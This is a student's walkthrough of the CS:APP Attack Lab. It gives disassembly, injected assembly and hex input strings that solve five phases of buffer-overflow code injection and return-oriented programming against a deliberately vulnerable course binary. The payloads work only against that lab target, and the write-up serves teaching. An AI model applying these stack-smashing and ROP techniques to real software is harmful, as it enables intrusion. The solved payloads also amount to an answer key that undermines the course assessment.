CSAPP:AttackLab #
[!WARNING]
- Through this lab you will learn how security vulnerabilities can be used to attack operating systems and network servers. The goal is to deepen understanding of vulnerabilities and defenses via simulated attacks, and to see what those flaws really are. Use this material for learning only — never for illegal or unethical activity.
- Before starting, study CS:APP3e Sections 3.10.3 and 3.10.4.
- https://arthals.ink/blog/attack-lab — you can still refer to this blog.
scp -p -r 2236115135-ics@x86.ics.xjtu-ants.net:./attacklab-2236115135-1235135 ~/ //scp下载远程服务器上的文件,如果要本地开发这是好的办法
The first three phases are CI (code injection) attacks; the last two are ROP (return-oriented programming) attacks.
Code Injection Attacks #
phase1: #
0000000000401a90 <test>:
401a90: 48 83 ec 08 sub $0x8,%rsp ; 分配了八个字节的空间
401a94: b8 00 00 00 00 mov $0x0,%eax
401a99: e8 31 fe ff ff call 4018cf <getbuf> ; 调用了getbuf函数
401a9e: 89 c2 mov %eax,%edx
401aa0: be e8 31 40 00 mov $0x4031e8,%esi
401aa5: bf 01 00 00 00 mov $0x1,%edi
401aaa: b8 00 00 00 00 mov $0x0,%eax
401aaf: e8 3c f2 ff ff call 400cf0 <__printf_chk@plt>
401ab4: 48 83 c4 08 add $0x8,%rsp
401ab8: c3 ret
00000000004018cf <getbuf>:
4018cf: 48 83 ec 38 sub $0x38,%rsp ; 分配了56个字节的空间(在buf里)
4018d3: 48 89 e7 mov %rsp,%rdi
4018d6: e8 7e 02 00 00 call 401b59 <Gets>
4018db: b8 01 00 00 00 mov $0x1,%eax
4018e0: 48 83 c4 38 add $0x38,%rsp
4018e4: c3 ret
00000000004018e5 <touch1>:
4018e5: 48 83 ec 08 sub $0x8,%rsp
4018e9: c7 05 2d 2c 20 00 01 movl $0x1,0x202c2d(%rip) # 604520 <vlevel>
4018f0: 00 00 00
4018f3: bf 22 31 40 00 mov $0x403122,%edi
4018f8: e8 53 f4 ff ff call 400d50 <puts@plt>
4018fd: bf 01 00 00 00 mov $0x1,%edi
401902: e8 92 03 00 00 call 401c99 <validate>
401907: bf 00 00 00 00 mov $0x0,%edi
40190c: e8 bf f5 ff ff call 400ed0 <exit@plt>
I need to overwrite the return address with the entry of touch1 above so that touch1 runs.
Construct the following input string and remember to use the hex2raw tool.
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
e5 18 40 00
phase2: #
The steps here: 1. Overwrite the address as before. 2. Pass an argument so your code runs correctly.
I need the overwritten address to be touch2, and I also need to pass a parameter.
0000000000401911 <touch2>:
401911: 48 83 ec 08 sub $0x8,%rsp
401915: 89 fa mov %edi,%edx
401917: c7 05 ff 2b 20 00 02 movl $0x2,0x202bff(%rip) # 604520 <vlevel>
40191e: 00 00 00
401921: 39 3d 01 2c 20 00 cmp %edi,0x202c01(%rip) # 604528 <cookie>
401927: 75 20 jne 401949 <touch2+0x38>
401929: be 48 31 40 00 mov $0x403148,%esi
40192e: bf 01 00 00 00 mov $0x1,%edi
401933: b8 00 00 00 00 mov $0x0,%eax
401938: e8 b3 f3 ff ff call 400cf0 <__printf_chk@plt>
40193d: bf 02 00 00 00 mov $0x2,%edi
401942: e8 52 03 00 00 call 401c99 <validate>
401947: eb 1e jmp 401967 <touch2+0x56>
401949: be 70 31 40 00 mov $0x403170,%esi
40194e: bf 01 00 00 00 mov $0x1,%edi
401953: b8 00 00 00 00 mov $0x0,%eax
401958: e8 93 f3 ff ff call 400cf0 <__printf_chk@plt>
40195d: bf 02 00 00 00 mov $0x2,%edi
401962: e8 f4 03 00 00 call 401d5b <fail>
401967: bf 00 00 00 00 mov $0x0,%edi
40196c: e8 5f f5 ff ff call 400ed0 <exit@plt>
Process: overwrite the caller’s return address to run my code (that means executing on the stack — how? Set the address that ret will pop to the %rsp value after the frame is allocated, so %rip starts there; then place the payload in the buffer — a clever attack). My code sets %rdi to my cookie and uses ret to transfer control into touch2.
After getbuf allocates its stack space, %rsp = 0x5563c8d8, which is also the buffer base.
We construct:
movq $0x14e6646f,%rdi ; 把第一个参数设置成cookie值
pushq $0x00401911 ; 这里push进去一个touch2的首地址值
ret ; ret实际上就是把刚刚push进去的值拿出来然后跳转执行
// gcc -c asm.s
// objdump -d asm.o > asm.byte 我们拿到这段汇编指令的字节码
phase3: #
Still about passing arguments, but messier — more functions are involved. I need to pass my cookie as a string to touch3.
0000000000401971 <hexmatch>:
401971: 41 54 push %r12
401973: 55 push %rbp
401974: 53 push %rbx
401975: 48 83 c4 80 add $0xffffffffffffff80,%rsp
401979: 89 fd mov %edi,%ebp
40197b: 48 89 f3 mov %rsi,%rbx
40197e: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax
401985: 00 00
401987: 48 89 44 24 78 mov %rax,0x78(%rsp)
40198c: 31 c0 xor %eax,%eax
40198e: e8 bd f4 ff ff call 400e50 <random@plt>
401993: 48 89 c1 mov %rax,%rcx
401996: 48 ba 0b d7 a3 70 3d movabs $0xa3d70a3d70a3d70b,%rdx
40199d: 0a d7 a3
4019a0: 48 f7 ea imul %rdx
4019a3: 48 01 ca add %rcx,%rdx
4019a6: 48 c1 fa 06 sar $0x6,%rdx
4019aa: 48 89 c8 mov %rcx,%rax
4019ad: 48 c1 f8 3f sar $0x3f,%rax
4019b1: 48 29 c2 sub %rax,%rdx
4019b4: 48 8d 04 92 lea (%rdx,%rdx,4),%rax
4019b8: 48 8d 14 80 lea (%rax,%rax,4),%rdx
4019bc: 48 8d 04 95 00 00 00 lea 0x0(,%rdx,4),%rax
4019c3: 00
4019c4: 48 29 c1 sub %rax,%rcx
4019c7: 4c 8d 24 0c lea (%rsp,%rcx,1),%r12
4019cb: 41 89 e8 mov %ebp,%r8d
4019ce: b9 3f 31 40 00 mov $0x40313f,%ecx
4019d3: 48 c7 c2 ff ff ff ff mov $0xffffffffffffffff,%rdx
4019da: be 01 00 00 00 mov $0x1,%esi
4019df: 4c 89 e7 mov %r12,%rdi
4019e2: b8 00 00 00 00 mov $0x0,%eax
4019e7: e8 44 f4 ff ff call 400e30 <__sprintf_chk@plt>
4019ec: ba 09 00 00 00 mov $0x9,%edx
4019f1: 4c 89 e6 mov %r12,%rsi
4019f4: 48 89 df mov %rbx,%rdi
4019f7: e8 34 f3 ff ff call 400d30 <strncmp@plt>
4019fc: 85 c0 test %eax,%eax
4019fe: 0f 94 c0 sete %al
401a01: 48 8b 5c 24 78 mov 0x78(%rsp),%rbx
401a06: 64 48 33 1c 25 28 00 xor %fs:0x28,%rbx
401a0d: 00 00
401a0f: 74 05 je 401a16 <hexmatch+0xa5>
401a11: e8 5a f3 ff ff call 400d70 <__stack_chk_fail@plt>
401a16: 0f b6 c0 movzbl %al,%eax
401a19: 48 83 ec 80 sub $0xffffffffffffff80,%rsp
401a1d: 5b pop %rbx
401a1e: 5d pop %rbp
401a1f: 41 5c pop %r12
401a21: c3 ret
0000000000401a22 <touch3>:
401a22: 53 push %rbx
401a23: 48 89 fb mov %rdi,%rbx
401a26: c7 05 f0 2a 20 00 03 movl $0x3,0x202af0(%rip) # 604520 <vlevel>
401a2d: 00 00 00
401a30: 48 89 fe mov %rdi,%rsi
401a33: 8b 3d ef 2a 20 00 mov 0x202aef(%rip),%edi # 604528 <cookie>
401a39: e8 33 ff ff ff call 401971 <hexmatch>
401a3e: 85 c0 test %eax,%eax
401a40: 74 23 je 401a65 <touch3+0x43>
401a42: 48 89 da mov %rbx,%rdx
401a45: be 98 31 40 00 mov $0x403198,%esi
401a4a: bf 01 00 00 00 mov $0x1,%edi
401a4f: b8 00 00 00 00 mov $0x0,%eax
401a54: e8 97 f2 ff ff call 400cf0 <__printf_chk@plt>
401a59: bf 03 00 00 00 mov $0x3,%edi
401a5e: e8 36 02 00 00 call 401c99 <validate>
401a63: eb 21 jmp 401a86 <touch3+0x64>
401a65: 48 89 da mov %rbx,%rdx
401a68: be c0 31 40 00 mov $0x4031c0,%esi
401a6d: bf 01 00 00 00 mov $0x1,%edi
401a72: b8 00 00 00 00 mov $0x0,%eax
401a77: e8 74 f2 ff ff call 400cf0 <__printf_chk@plt>
401a7c: bf 03 00 00 00 mov $0x3,%edi
401a81: e8 d5 02 00 00 call 401d5b <fail>
401a86: bf 00 00 00 00 mov $0x0,%edi
401a8b: e8 40 f4 ff ff call 400ed0 <exit@plt>
C source for the two functions above:
/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval)
{
char cbuf[110];
/* Make position of check string unpredictable */
char *s = cbuf + random() % 100; //这里随机分配可能导致的结果是把我们注入的字符串覆盖掉
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}
void touch3(char *sval)
{
vlevel = 3; /* Part of validation protocol */
if (hexmatch(cookie, sval)) {
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}
gdb debugging (first jump to touch3 as in phase 2):
Inspect the buffer before entering hexmatch — our injected code is still there (unused bytes filled with 3f).
After entering (we see part of the buffer overwritten, but it did not clobber our payload — so this is probabilistic):
Offset 28 seems to stay 0; we try placing the character array there:
man ascii //查看关于ascii的帮助
cookie → ASCII
0x14e6646f → 31 34 65 36 36 34 36 66
To be safe, check once more:
When editing, watch not only little-endian byte order but also that the original callee’s argument values do not change unexpectedly.
Q: For some reason offset
28would not take the write; later I switched to offset18and rewrote it there (remember to update the address%rdipoints to if you get it wrong).
Return-Oriented Programming #
phase4: #
In the earlier phases, stack randomization and non-executable stack were off (running code on the stack is already suspicious). That leads to this attack style.
It still targets the same problems as phase2 and phase3 above.
The idea: do not execute our code on the stack; stitch together gadgets already present in the binary, each ending with
c3(ret) so control keeps chaining.
Related instruction encodings: #
Gadget farm provided to us: #
0000000000401ab9 <start_farm>:
401ab9: b8 01 00 00 00 mov $0x1,%eax
401abe: c3 ret
0000000000401abf <addval_480>:
401abf: 8d 87 6e a5 58 c3 lea -0x3ca75a92(%rdi),%eax ;2.3 58 c3 popq %rax (401ac3) ---1.1把rax设置成cookie的值
401ac5: c3 ret ; 就是这里,愚蠢的我一直把这里数错了导致几个小时没看出来为什么有segmentaion fault
0000000000401ac6 <getval_188>:
401ac6: b8 c8 89 c7 90 mov $0x90c789c8,%eax
401acb: c3 ret
0000000000401acc <addval_392>:
401acc: 8d 87 58 91 c3 9e lea -0x613c6ea8(%rdi),%eax
401ad2: c3 ret
0000000000401ad3 <addval_406>:
401ad3: 8d 87 ec ad d8 c3 lea -0x3c275214(%rdi),%eax
401ad9: c3 ret
0000000000401ada <getval_227>:
401ada: b8 65 48 89 c7 mov $0xc7894865,%eax ; 2.2 2.8 48 89 c7 movq %rax,%rdi(401adc) ---1.2把rdi设置成cookie值
401adf: c3 ret
0000000000401ae0 <getval_437>:
401ae0: b8 49 89 c7 90 mov $0x90c78949,%eax
401ae5: c3 ret
0000000000401ae6 <setval_348>:
401ae6: c7 07 48 89 c7 c3 movl $0xc3c78948,(%rdi)
401aec: c3 ret
0000000000401aed <setval_136>:
401aed: c7 07 58 90 90 90 movl $0x90909058,(%rdi)
401af3: c3 ret
0000000000401af4 <mid_farm>:
401af4: b8 01 00 00 00 mov $0x1,%eax
401af9: c3 ret
0000000000401afa <add_xy>:
401afa: 48 8d 04 37 lea (%rdi,%rsi,1),%rax ; 2.7(401afa) 这里就是直接设计好的
401afe: c3 ret
0000000000401aff <getval_314>:
401aff: b8 a9 c9 d6 90 mov $0x90d6c9a9,%eax
401b04: c3 ret
0000000000401b05 <addval_442>:
401b05: 8d 87 48 09 e0 90 lea -0x6f1ff6b8(%rdi),%eax
401b0b: c3 ret
0000000000401b0c <addval_139>:
401b0c: 8d 87 89 ca 90 90 lea -0x6f6f3577(%rdi),%eax
401b12: c3 ret
0000000000401b13 <addval_491>:
401b13: 8d 87 1f 4b 89 d6 lea -0x2976b4e1(%rdi),%eax ; 2.6(401b17) mov %edx,%esi
401b19: c3 ret
0000000000401b1a <setval_367>:
401b1a: c7 07 bb 48 89 e0 movl $0xe08948bb,(%rdi) ; 2.1(401b1d) mov %rsp,%rax
401b20: c3 ret
0000000000401b21 <getval_215>:
401b21: b8 48 89 e0 c1 mov $0xc1e08948,%eax
401b26: c3 ret
0000000000401b27 <setval_192>:
401b27: c7 07 89 c1 92 90 movl $0x9092c189,(%rdi)
401b2d: c3 ret
0000000000401b2e <getval_418>:
401b2e: b8 89 ca 84 c0 mov $0xc084ca89,%eax ;2.5(401b2f) mov %ecx,%edx test %al,%al
401b33: c3 ret
0000000000401b34 <addval_318>:
401b34: 8d 87 8b d6 84 c0 lea -0x3f7b2975(%rdi),%eax
401b3a: c3 ret
0000000000401b3b <setval_167>:
401b3b: c7 07 48 89 e0 94 movl $0x94e08948,(%rdi)
401b41: c3 ret
0000000000401b42 <setval_410>:
401b42: c7 07 df 89 ca 91 movl $0x91ca89df,(%rdi)
401b48: c3 ret
0000000000401b49 <setval_408>:
401b49: c7 07 95 48 81 e0 movl $0xe0814895,(%rdi)
401b4f: c3 ret
0000000000401b50 <setval_115>:
401b50: c7 07 88 d6 90 c3 movl $0xc390d688,(%rdi)
401b56: c3 ret
0000000000401b57 <setval_336>:
401b57: c7 07 48 89 e0 90 movl $0x90e08948,(%rdi)
401b5d: c3 ret
0000000000401b5e <addval_315>:
401b5e: 8d 87 89 c1 a4 c0 lea -0x3f5b3e77(%rdi),%eax
401b64: c3 ret
0000000000401b65 <setval_400>:
401b65: c7 07 89 ca 28 d2 movl $0xd228ca89,(%rdi)
401b6b: c3 ret
0000000000401b6c <getval_226>:
401b6c: b8 88 d6 38 c0 mov $0xc038d688,%eax
401b71: c3 ret
0000000000401b72 <getval_388>:
401b72: b8 c9 c1 20 c9 mov $0xc920c1c9,%eax ; (401b75)
401b77: c3 ret
0000000000401b78 <getval_379>:
401b78: b8 68 89 e0 c3 mov $0xc3e08968,%eax
401b7d: c3 ret
0000000000401b7e <getval_495>:
401b7e: b8 89 d6 92 c3 mov $0xc392d689,%eax
401b83: c3 ret
0000000000401b84 <addval_434>:
401b84: 8d 87 89 ca 28 d2 lea -0x2dd73577(%rdi),%eax
401b8a: c3 ret
0000000000401b8b <getval_382>:
401b8b: b8 4c 89 e0 c3 mov $0xc3e0894c,%eax
401b90: c3 ret
0000000000401b91 <addval_100>:
401b91: 8d 87 c9 c1 84 c9 lea -0x367b3e37(%rdi),%eax
401b97: c3 ret
0000000000401b98 <setval_140>:
401b98: c7 07 f8 8b c1 c3 movl $0xc3c18bf8,(%rdi)
401b9e: c3 ret
0000000000401b9f <setval_104>:
401b9f: c7 07 88 c1 84 c0 movl $0xc084c188,(%rdi)
401ba5: c3 ret
0000000000401ba6 <addval_125>:
401ba6: 8d 87 89 d6 90 c3 lea -0x3c6f2977(%rdi),%eax
401bac: c3 ret
0000000000401bad <getval_111>:
401bad: b8 16 a9 09 ca mov $0xca09a916,%eax
401bb2: c3 ret
0000000000401bb3 <getval_256>:
401bb3: b8 a9 ca 20 db mov $0xdb20caa9,%eax
401bb8: c3 ret
0000000000401bb9 <getval_170>:
401bb9: b8 89 c1 08 d2 mov $0xd208c189,%eax
401bbe: c3 ret
0000000000401bbf <setval_102>:
401bbf: c7 07 0e 89 c1 c3 movl $0xc3c1890e,(%rdi) ; 2.4(401bc2) mov %eax,%ecx
401bc5: c3 ret
0000000000401bc6 <getval_364>:
401bc6: b8 81 d6 90 90 mov $0x9090d681,%eax
401bcb: c3 ret
0000000000401bcc <setval_159>:
401bcc: c7 07 89 ca c1 ce movl $0xcec1ca89,(%rdi)
401bd2: c3 ret
0000000000401bd3 <end_farm>:
401bd3: b8 01 00 00 00 mov $0x1,%eax
401bd8: c3 ret
Then the input bytes look like this:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c3 1a 40 00 00 00 00 00
6f 64 e6 14 00 00 00 00
dc 1a 40 00 00 00 00 00
11 19 40 00 00 00 00 00
Count the addresses carefully — I miscounted one address and wasted hours, though hunting down a segfault is also a form of learning. (Hard to keep a straight face.)
phase5: #
Supposedly the hardest phase — but since we have already touched assembly, let’s try!
The solution idea comes from the blog above: with stack randomization, use
%rspas a reference point to locate the argument we need.
Designed asm:
phase5.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 89 e0 mov %rsp,%rax
3: c3 ret
4: 48 89 c7 mov %rax,%rdi
7: c3 ret
8: 58 pop %rax
9: 90 nop
a: c3 ret
b: 89 c1 mov %eax,%ecx
d: 90 nop
e: c3 ret
f: 89 ca mov %ecx,%edx
11: 84 c0 test %al,%al
13: c3 ret
14: 89 d6 mov %edx,%esi
16: 20 d2 and %dl,%dl
18: c3 ret
19: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
1d: 48 89 c7 mov %rax,%rdi
20: c3 ret
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
1d 1b 40 00 00 00 00 00
dc 1a 40 00 00 00 00 00
c3 1a 40 00 00 00 00 00
48 00 00 00 00 00 00 00
c2 1b 40 00 00 00 00 00
2f 1b 40 00 00 00 00 00
17 1b 40 00 00 00 00 00
fa 1a 40 00 00 00 00 00
dc 1a 40 00 00 00 00 00
22 1a 40 00 00 00 00 00
31 34 65 36 36 34 36 66
00 00 00 00 00 00 00 00
Done!!! Copying someone else’s write-up is easy (). The hard part is writing a bug-free gadget chain yourself and finding the pieces; reading someone else’s is much easier (?).